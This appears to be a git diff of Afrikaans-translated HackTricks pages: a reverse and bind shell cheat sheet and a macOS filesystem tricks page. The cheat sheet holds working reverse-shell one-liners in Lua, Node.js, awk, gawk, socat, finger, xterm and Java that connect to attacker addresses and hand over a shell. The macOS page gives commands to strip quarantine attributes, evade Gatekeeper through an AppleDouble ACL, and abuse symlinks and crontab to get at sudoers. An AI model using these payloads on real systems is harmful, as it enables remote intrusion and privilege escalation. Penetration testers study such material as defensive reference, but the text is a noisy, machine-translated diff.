|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -428,85 +181,6 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123
|
|||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## NodeJS
|
||||
|
||||
NodeJS is 'n open-source, platform-onafhanklike uitvoeringsomgewing wat gebruik word vir die ontwikkeling van skaalbare en vinnige netwerktoepassings. Dit is gebou op die V8 JavaScript-enjin en maak gebruik van 'n nie-blokkerende I/O-model, wat beteken dat dit effektief kan omgaan met baie gelyktydige verbindings sonder om die prestasie te beïnvloed.
|
||||
|
||||
### Installasie
|
||||
|
||||
Om NodeJS op Linux te installeer, kan jy die volgende stappe volg:
|
||||
|
||||
1. Voer die volgende opdrag uit om die NodeJS-pakketbron te installeer:
|
||||
|
||||
```
|
||||
curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
|
||||
```
|
||||
|
||||
2. Installeer NodeJS deur die volgende opdrag uit te voer:
|
||||
|
||||
```
|
||||
sudo apt-get install -y nodejs
|
||||
```
|
||||
|
||||
3. Om te bevestig dat NodeJS suksesvol geïnstalleer is, kan jy die volgende opdrag uitvoer:
|
||||
|
||||
```
|
||||
node -v
|
||||
```
|
||||
|
||||
### Aan die gang
|
||||
|
||||
Om 'n nuwe NodeJS-projek te skep, kan jy die volgende stappe volg:
|
||||
|
||||
1. Skep 'n nuwe leë gids vir jou projek:
|
||||
|
||||
```
|
||||
mkdir myproject
|
||||
cd myproject
|
||||
```
|
||||
|
||||
2. Skep 'n nuwe `package.json`-lêer deur die volgende opdrag uit te voer:
|
||||
|
||||
```
|
||||
npm init -y
|
||||
```
|
||||
|
||||
3. Installeer enige afhanklikhede wat jy benodig vir jou projek deur die volgende opdrag uit te voer:
|
||||
|
||||
```
|
||||
npm install <afhanklikheid>
|
||||
```
|
||||
|
||||
4. Skep 'n nuwe JavaScript-lêer, byvoorbeeld `index.js`, en skryf jou NodeJS-kode daarin.
|
||||
|
||||
5. Voer jou NodeJS-program uit deur die volgende opdrag uit te voer:
|
||||
|
||||
```
|
||||
node index.js
|
||||
```
|
||||
|
||||
### Belangrike NodeJS-konsepte
|
||||
|
||||
Hier is 'n paar belangrike konsepte in NodeJS wat jy moet verstaan:
|
||||
|
||||
- **Modules**: NodeJS maak gebruik van modules om funksionaliteit te organiseer en te hergebruik. Jy kan modules invoer deur die `require`-funksie te gebruik.
|
||||
|
||||
- **Asynchrone programmering**: NodeJS maak gebruik van asynchrone programmering om nie-blokkerende I/O te bereik. Dit beteken dat jy funksies kan uitvoer sonder om te wag vir 'n antwoord, wat die algehele prestasie verbeter.
|
||||
|
||||
- **Evenementgedrewe programmering**: NodeJS is gebaseer op 'n evenementgedrewe model, waarin funksies uitgevoer word as reaksie op spesifieke gebeure. Jy kan luisteraars aanheg aan gebeure en funksies uitvoer wanneer die gebeurtenis plaasvind.
|
||||
|
||||
- **NPM**: NPM (Node Package Manager) is die standaard pakketsisteem vir NodeJS. Dit stel jou in staat om afhanklikhede te bestuur en te deel met ander ontwikkelaars.
|
||||
|
||||
- **Express**: Express is 'n gewilde webraamwerk vir NodeJS wat dit maklik maak om webtoepassings te bou. Dit bied 'n eenvoudige en elegante sintaksis vir die hantering van roetes, middelware en sjablone.
|
||||
|
||||
### Nuttige hulpbronne
|
||||
|
||||
Hier is 'n paar nuttige hulpbronne vir die leer en verbetering van jou NodeJS-vaardighede:
|
||||
|
||||
- [NodeJS-dokumentasie](https://nodejs.org/en/docs/)
|
||||
- [NPM-dokumentasie](https://docs.npmjs.com/)
|
||||
- [Express-dokumentasie](https://expressjs.com/)
|
||||
- [NodeJS-tutoriale](https://www.tutorialspoint.com/nodejs/index.htm)
|
||||
- [NodeJS-kursusse op Udemy](https://www.udemy.com/topic/nodejs/)
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -569,59 +243,21 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Bind dop
|
||||
|
||||
'n Bind dop is 'n tipe dop wat gebruik word om 'n verbinding te skep tussen 'n aanvaller se masjien en 'n teiken masjien. Hierdie dop bind aan 'n spesifieke poort op die teiken masjien en wag vir 'n inkomende verbinding van die aanvaller. Die aanvaller kan dan gebruik maak van hierdie verbinding om beheer oor die teiken masjien te verkry.
|
||||
### Bind skul
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
```
|
||||
'n Reverse shell is 'n tegniek wat gebruik word deur 'n aanvaller om toegang te verkry tot 'n teikenstelsel vanaf 'n afstand. Dit behels die gebruik van 'n kwaadwillige kode wat op die teikenstelsel uitgevoer word en 'n verbinding met die aanvaller se stelsel vestig. Hierdie verbinding stel die aanvaller in staat om op afstand opdragte uit te voer en toegang te verkry tot die teikenstelsel se hulpbronne en data.
|
||||
|
||||
'n Reverse shell kan op verskillende maniere geïmplementeer word, maar die algemene idee is om 'n verbinding te maak vanaf die teikenstelsel na die aanvaller se stelsel. Dit kan gedoen word deur gebruik te maak van 'n kwaadwillige program wat op die teikenstelsel uitgevoer word en 'n netwerkverbinding inisieer na die aanvaller se IP-adres en poortnommer. Die aanvaller kan dan 'n luisterende program op sy stelsel hê wat die inkomende verbinding aanvaar en 'n interaktiewe sessie met die teikenstelsel bied.
|
||||
|
||||
'n Reverse shell is 'n kragtige tegniek wat deur aanvallers gebruik word om toegang te verkry tot stelsels en netwerke. Dit is belangrik vir verdedigers om bewus te wees van hierdie tegniek en maatreëls te tref om dit te voorkom.
|
||||
### Terugkeer skuilplek
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
## Awk
|
||||
|
||||
Awk is 'n kragtige taal en hulpmiddel wat gebruik kan word om data te manipuleer en te verwerk in Linux. Dit is 'n ingeboude hulpmiddel in die meeste Linux-stelsels en kan gebruik word om te soek, filter, sorteer en transformeer data. Awk werk deur die lees van 'n reël van die invoer, dit te verdeel in velders en dan aksies uit te voer op die velders.
|
||||
|
||||
Awk kan gebruik word om verskeie take uit te voer, soos die soek na spesifieke patrone in 'n lêer, die berekening van statistieke, die manipulasie van data en die generering van verslae. Dit is 'n baie nuttige hulpmiddel vir die verwerking van groot hoeveelhede data en kan ook gebruik word in skrips om komplekse take te outomatiseer.
|
||||
|
||||
Hier is 'n paar voorbeelde van hoe Awk gebruik kan word:
|
||||
|
||||
### Soek na spesifieke patrone
|
||||
|
||||
```bash
|
||||
awk '/patroon/ { print }' lêernaam
|
||||
```
|
||||
|
||||
Hierdie opdrag sal soek na die spesifieke patroon in die lêer en enige reëls wat die patroon bevat, sal gedruk word.
|
||||
|
||||
### Berekening van statistieke
|
||||
|
||||
```bash
|
||||
awk '{ sum += $1 } END { print sum }' lêernaam
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die som van die waardes in die eerste veld van elke reël in die lêer bereken en dit sal gedruk word wanneer die verwerking voltooi is.
|
||||
|
||||
### Manipulasie van data
|
||||
|
||||
```bash
|
||||
awk '{ $1 = "nuwe waarde" } { print }' lêernaam
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die waarde van die eerste veld in elke reël in die lêer verander na "nuwe waarde" en die gewysigde reëls sal gedruk word.
|
||||
|
||||
Awk bied 'n baie kragtige en veelsydige manier om data te manipuleer en te verwerk in Linux. Dit is 'n nuttige hulpmiddel vir enigeen wat met data werk en kan help om komplekse take te vereenvoudig en te outomatiseer.
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
### Vinger
|
||||
## Vinger
|
||||
|
||||
**Aanvaller**
|
||||
```bash
|
||||
|
@ -636,60 +272,6 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; s
|
|||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||
```
|
||||
## Gawk
|
||||
|
||||
Gawk is 'n kragtige en veelsydige opdraggereëlverwerker wat dikwels gebruik word in Linux-stelsels. Dit kan gebruik word om teks te manipuleer, patrone te soek en te vervang, en data te verwerk. Gawk is 'n afkorting vir "GNU Awk" en is 'n verbeterde weergawe van die oorspronklike awk-program.
|
||||
|
||||
### Installasie
|
||||
|
||||
Om Gawk op 'n Linux-stelsel te installeer, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
sudo apt-get install gawk
|
||||
```
|
||||
|
||||
### Gebruik
|
||||
|
||||
Gawk kan gebruik word om teks vanaf 'n lêer of die invoerstroom te verwerk. Dit kan ook gebruik word om data te manipuleer en te transformeer deur gebruik te maak van patrone en akties.
|
||||
|
||||
Om Gawk te gebruik, kan jy die volgende sintaks volg:
|
||||
|
||||
```bash
|
||||
gawk 'patroon { aktie }' lêernaam
|
||||
```
|
||||
|
||||
Hier is 'n paar voorbeelde van hoe Gawk gebruik kan word:
|
||||
|
||||
- Om 'n lêer te lees en die inhoud te druk:
|
||||
|
||||
```bash
|
||||
gawk '{ print }' lêernaam
|
||||
```
|
||||
|
||||
- Om 'n spesifieke patroon in 'n lêer te soek en die ooreenstemmende lyne te druk:
|
||||
|
||||
```bash
|
||||
gawk '/patroon/ { print }' lêernaam
|
||||
```
|
||||
|
||||
- Om 'n spesifieke kolom van 'n lêer te druk:
|
||||
|
||||
```bash
|
||||
gawk '{ print $kolomnommer }' lêernaam
|
||||
```
|
||||
|
||||
- Om 'n lêer te sorteer volgens 'n spesifieke kolom:
|
||||
|
||||
```bash
|
||||
gawk '{ print }' lêernaam | sort -k kolomnommer
|
||||
```
|
||||
|
||||
- Om data te manipuleer en te transformeer deur gebruik te maak van patrone en akties:
|
||||
|
||||
```bash
|
||||
gawk '/patroon/ { aktie }' lêernaam
|
||||
```
|
||||
|
||||
Dit is slegs 'n klein deel van die funksionaliteit wat Gawk bied. Vir meer inligting en gevorderde gebruik, kan jy die Gawk-dokumentasie raadpleeg.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -714,11 +296,11 @@ close(Service)
|
|||
```
|
||||
## Xterm
|
||||
|
||||
Dit sal probeer om te verbind met jou stelsel by poort 6001:
|
||||
Dit sal probeer om met jou stelsel te verbind by poort 6001:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Om die omgekeerde dop te vang, kan jy gebruik maak van (wat sal luister op poort 6001):
|
||||
Om die omgekeerde dop te vang, kan jy gebruik (wat sal luister op poort 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -735,29 +317,22 @@ String cmd="cmd.exe";
|
|||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# macOS FS-truuks
|
||||
# macOS FS Truuks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,37 +18,37 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
Toestemmings in 'n **gids**:
|
||||
|
||||
* **lees** - jy kan die gidsinskrywings **opnoem**
|
||||
* **skryf** - jy kan **lêers** in die gids **verwyder/skryf** en jy kan **leë gidslyste verwyder**. 
|
||||
* Maar jy **kan nie nie-leë gidslyste verwyder/wysig** tensy jy skryftoestemmings daaroor het.
|
||||
* Jy **kan nie die naam van 'n gids wysig** tensy jy die eienaar daarvan is.
|
||||
* **uitvoer** - jy mag die gids **deursoek** - as jy nie hierdie reg het nie, kan jy nie enige lêers daarin of in enige subgidse toegang nie.
|
||||
* **lees** - jy kan die gidsinskrywings **opsom**
|
||||
* **skryf** - jy kan **lêers skryf/verwyder** in die gids en jy kan **leë mappe verwyder**.
|
||||
* Maar jy **kan nie nie-leë mappe verwyder/wysig** tensy jy skryftoestemmings daaroor het nie.
|
||||
* Jy **kan nie die naam van 'n map wysig** tensy jy dit besit nie.
|
||||
* **uitvoer** - jy is **toegelaat om deur** die gids te beweeg - as jy nie hierdie reg het nie, kan jy nie enige lêers daarin, of in enige subgidse, toegang nie.
|
||||
|
||||
### Gevaarlike kombinasies
|
||||
### Gevaarlike Kombinasies
|
||||
|
||||
**Hoe om 'n lêer/gids wat deur root besit word, te oorskryf**, maar:
|
||||
**Hoe om 'n lêer/map wat deur root besit word te oorskryf**, maar:
|
||||
|
||||
* Een ouer **gids-eienaar** in die pad is die gebruiker
|
||||
* Een ouer **gids-eienaar** in die pad is 'n **gebruikersgroep** met **skryftoegang**
|
||||
* Een ouer **gids eienaar** in die pad is die gebruiker
|
||||
* Een ouer **gids eienaar** in die pad is 'n **gebruikersgroep** met **skryftoegang**
|
||||
* 'n Gebruikers **groep** het **skryf** toegang tot die **lêer**
|
||||
|
||||
Met enige van die vorige kombinasies kan 'n aanvaller 'n **sym/hard link** inspuit na die verwagte pad om 'n bevoorregte willekeurige skryf te verkry.
|
||||
Met enige van die vorige kombinasies kan 'n aanvaller 'n **sym/hard skakel** inspuit na die verwagte pad om 'n bevoorregte willekeurige skryf te verkry.
|
||||
|
||||
### Gidsroet R+X Spesiale geval
|
||||
|
||||
As daar lêers in 'n **gids** is waarin **slegs root R+X-toegang** het, is dit **nie toeganklik vir enigiemand anders nie**. Dus kan 'n kwesbaarheid wat dit moontlik maak om 'n lêer wat deur 'n gebruiker leesbaar is, maar nie gelees kan word as gevolg van daardie **beperking**, van hierdie gids **na 'n ander een** te skuif, misbruik word om hierdie lêers te lees.
|
||||
As daar lêers in 'n **gids** is waar **slegs root R+X-toegang het**, is daardie lêers **nie toeganklik vir enigiemand anders nie**. Dus kan 'n kwesbaarheid wat toelaat om 'n lêer leesbaar deur 'n gebruiker te **skuif**, wat nie gelees kan word as gevolg van daardie **beperking**, van hierdie gids **na 'n ander een**, misbruik word om hierdie lêers te lees.
|
||||
|
||||
Voorbeeld in: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## Simboliese skakel / Harde skakel
|
||||
## Simboliese Skakel / Harde Skakel
|
||||
|
||||
As 'n bevoorregte proses data skryf in 'n **lêer** wat deur 'n **laer bevoorregte gebruiker** beheer kan word, of wat voorheen deur 'n laer bevoorregte gebruiker geskep kon word. Die gebruiker kan dit net **na 'n ander lêer verwys** deur middel van 'n simboliese of harde skakel, en die bevoorregte proses sal op daardie lêer skryf.
|
||||
As 'n bevoorregte proses data in 'n **lêer** skryf wat deur 'n **laer bevoorregte gebruiker** beheer kan word, of wat deur 'n laer bevoorregte gebruiker **vooraf geskep** kan word. Die gebruiker kan dit net **na 'n ander lêer wys** via 'n Simboliese of Harde skakel, en die bevoorregte proses sal op daardie lêer skryf.
|
||||
|
||||
Kyk na die ander afdelings waar 'n aanvaller 'n willekeurige skryf kan misbruik om voorregte te verhoog.
|
||||
Kyk na die ander afdelings waar 'n aanvaller 'n willekeurige skryf kan misbruik om voorregte te eskaleer.
|
||||
|
||||
## .fileloc
|
||||
|
||||
Lêers met die **`.fileloc`**-uitbreiding kan na ander programme of binêre lêers verwys, sodat wanneer hulle oopgemaak word, die toepassing/binêre lêer uitgevoer sal word.\
|
||||
Lêers met die **`.fileloc`** uitbreiding kan na ander toepassings of binêre lêers wys sodat wanneer hulle oopgemaak word, die toepassing/binêre lêer uitgevoer sal word.\
|
||||
Voorbeeld:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -64,11 +64,11 @@ Voorbeeld:
|
|||
```
|
||||
## Willekeurige FD
|
||||
|
||||
As jy 'n **proses kan laat 'n lêer of 'n vouer met hoë bevoegdhede oopmaak**, kan jy **`crontab`** misbruik om 'n lêer in `/etc/sudoers.d` oop te maak met **`EDITOR=exploit.py`**, sodat die `exploit.py` die FD na die lêer binne-in `/etc/sudoers` kan kry en dit misbruik.
|
||||
As jy 'n **proses kan laat 'n lêer of 'n vouer met hoë voorregte oopmaak**, kan jy **`crontab`** misbruik om 'n lêer in `/etc/sudoers.d` met **`EDITOR=exploit.py`** oop te maak, sodat die `exploit.py` die FD na die lêer binne `/etc/sudoers` sal kry en dit kan misbruik.
|
||||
|
||||
Byvoorbeeld: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
## Vermy truuks met quarantine xattrs
|
||||
## Vermy kwarantyn xattrs truuks
|
||||
|
||||
### Verwyder dit
|
||||
```bash
|
||||
|
@ -76,7 +76,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
|
|||
```
|
||||
### uchg / uchange / uimmutable vlag
|
||||
|
||||
As 'n lêer/gids hierdie onveranderlike eienskap het, sal dit nie moontlik wees om 'n xattr daarop te plaas nie.
|
||||
Indien 'n lêer / vouer hierdie onveranderlike eienskap het, sal dit nie moontlik wees om 'n xattr daarop te plaas nie.
|
||||
```bash
|
||||
echo asd > /tmp/asd
|
||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||
|
@ -86,9 +86,9 @@ xattr: [Errno 1] Operation not permitted: '/tmp/asd'
|
|||
ls -lO /tmp/asd
|
||||
# check the "uchg" in the output
|
||||
```
|
||||
### defvfs monteer
|
||||
### defvfs berg
|
||||
|
||||
'n **devfs**-monteer **ondersteun nie xattr nie**, meer inligting in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
'n **devfs** berg **ondersteun nie xattr nie**, meer inligting in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
```bash
|
||||
mkdir /tmp/mnt
|
||||
mount_devfs -o noowners none "/tmp/mnt"
|
||||
|
@ -97,9 +97,9 @@ mkdir /tmp/mnt/lol
|
|||
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
||||
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
||||
```
|
||||
### writeextattr ACL
|
||||
### skryfextattr ACL
|
||||
|
||||
Hierdie ACL voorkom dat `xattrs` by die lêer gevoeg word.
|
||||
Hierdie ACL voorkom dat `xattrs` by die lêer gevoeg word
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
|
@ -122,13 +122,13 @@ ls -le /tmp/test
|
|||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
Die **AppleDouble** lêerformaat kopieer 'n lêer saam met sy ACEs.
|
||||
**AppleDouble**-lêerformaat kopieer 'n lêer saam met sy ACE's.
|
||||
|
||||
In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL-teksvoorstelling wat binne die xattr genaamd **`com.apple.acl.text`** gestoor word, as ACL in die gedekomprimeerde lêer ingestel sal word. So, as jy 'n toepassing saamgepers het in 'n zip-lêer met die **AppleDouble** lêerformaat met 'n ACL wat voorkom dat ander xattrs daarin geskryf kan word... die karantyn-xattr is nie in die toepassing ingestel nie:
|
||||
In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL-teksverteenwoordiging wat binne die xattr genoem word **`com.apple.acl.text`** gestoor word, as ACL in die gedekomprimeerde lêer ingestel gaan word. Dus, as jy 'n aansoek in 'n zip-lêer met die **AppleDouble**-lêerformaat saam met 'n ACL wat voorkom dat ander xattrs daarin geskryf word, saamgedruk het... die karantyn-xattr is nie in die aansoek ingestel nie:
|
||||
|
||||
Kyk na die [**oorspronklike verslag**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) vir meer inligting.
|
||||
|
||||
Om dit na te boots, moet ons eers die korrekte ACL-string kry:
|
||||
Om dit te dupliseer, moet ons eers die korrekte acl-string kry:
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
|
@ -146,19 +146,19 @@ ditto -c -k del test.zip
|
|||
ditto -x -k --rsrc test.zip .
|
||||
ls -le test
|
||||
```
|
||||
(Merk op dat selfs as dit werk, skryf die sandbox die karantyn xattr voor)
|
||||
(Moenie vergeet dat selfs as dit werk, die sandboks skryf die karantyn xattr voor)
|
||||
|
||||
Nie regtig nodig nie, maar ek laat dit daar net in geval:
|
||||
Nie regtig nodig nie, maar ek los dit daar net in geval:
|
||||
|
||||
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Deurloop Kodehandtekeninge
|
||||
## Bypass Kodehandtekeninge
|
||||
|
||||
Bundels bevat die lêer **`_CodeSignature/CodeResources`** wat die **hash** van elke enkele **lêer** in die **bundel** bevat. Merk op dat die hash van CodeResources ook **ingebed is in die uitvoerbare lêer**, so ons kan nie daarmee mors nie.
|
||||
Bundles bevat die lêer **`_CodeSignature/CodeResources`** wat die **hash** van elke enkele **lêer** in die **bundle** bevat. Let daarop dat die hash van CodeResources ook **ingebou is in die uitvoerbare lêer**, so ons kan nie daarmee mors nie.
|
||||
|
||||
Daar is egter sommige lêers waarvan die handtekening nie nagegaan sal word nie, hierdie het die sleutel "omit" in die plist, soos:
|
||||
Daar is egter sommige lêers waarvan die handtekening nie nagegaan sal word nie, hierdie het die sleutel uitgesluit in die plist, soos:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
|
@ -202,7 +202,7 @@ Daar is egter sommige lêers waarvan die handtekening nie nagegaan sal word nie,
|
|||
...
|
||||
</dict>
|
||||
```
|
||||
Dit is moontlik om die handtekening van 'n bron vanaf die opdraglyn te bereken met:
|
||||
Dit is moontlik om die handtekening van 'n hulpbron van die opdraggelynpunt te bereken met:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -210,9 +210,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
|
|||
```
|
||||
## Monteer dmgs
|
||||
|
||||
'n Gebruiker kan 'n aangepaste dmg monteer, selfs bo-op bestaande lêers. Hier is hoe jy 'n aangepaste dmg-pakket met aangepaste inhoud kan skep:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
'n Gebruiker kan 'n aangepaste dmg selfs bo-op bestaande lêers monteer. Dit is hoe jy 'n aangepaste dmg-pakket met aangepaste inhoud kan skep:
|
||||
```bash
|
||||
# Create the volume
|
||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||
|
@ -235,17 +233,17 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
```
|
||||
{% endcode %}
|
